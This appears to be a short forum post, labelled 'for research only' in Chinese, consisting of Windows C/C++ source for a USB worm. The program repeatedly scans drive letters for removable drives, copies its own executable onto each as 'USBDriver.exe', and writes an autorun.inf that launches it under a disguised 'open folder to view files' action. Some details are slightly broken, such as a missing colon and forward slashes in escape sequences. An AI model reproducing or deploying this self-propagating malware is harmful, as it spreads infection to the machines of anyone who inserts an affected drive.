dmyww123@ 以下代码 仅供研究:
- #include <windows.h>
- #include <stdio.h>
- #include <string.h>
- #include <wininet.h>
- char *drives[] = {"C:","D:","E","F:","G:","H:","I:","J:","K:","L:"};
- char Path[MAX_PATH];
- DWORD WINAPI spreadUSB()
- {
- HANDLE hFile;
- DWORD dwNum;
- while(1)
- {
- Sleep(10*1000);
- for(int i = 0;i < 10;i++)
- {
- if((GetDriveType(drives[i])) == DRIVE_REMOVABLE) //判定驱动类型是否为可移动类型
- {
- int e;
- char szUsbPath[50];
- const char * szUsbFileName = "//USBDriver.exe";
- const char szAutoRun[] = "[autorun]/r/naction=打开文件夹查看文件/r/nshellexecute=USBDriver.exe";
- strcpy(szUsbPath,drives[i]);
- strcat(szUsbPath,szUsbFileName);
- e = ::GetLastError();
- if(CopyFile(Path,szUsbPath,FALSE) == NULL)
- e = ::GetLastError();
- //SetFileAttributes(szUsbPath, FILE_ATTRIBUTE_SYSTEM);
- strcpy(szUsbPath,drives[i]);
- strcat(szUsbPath,"//autorun.inf");
- hFile = CreateFile(szUsbPath,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
- if( hFile != INVALID_HANDLE_VALUE )
- {
- e = ::GetLastError();
- e = WriteFile(hFile,szAutoRun,sizeof(szAutoRun),&dwNum,NULL);
- e = ::GetLastError();
- }
- else
- {
- e = ::GetLastError();
- }
- CloseHandle(hFile);
- }
- }
- }
- return 1;
- }
- int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
- {
- ::GetModuleFileName(NULL,Path,MAX_PATH);
- //string strPath = new string(Path,strlen(Path)+1);
- //MessageBox(strPath);
- spreadUSB();
- return 0;
- }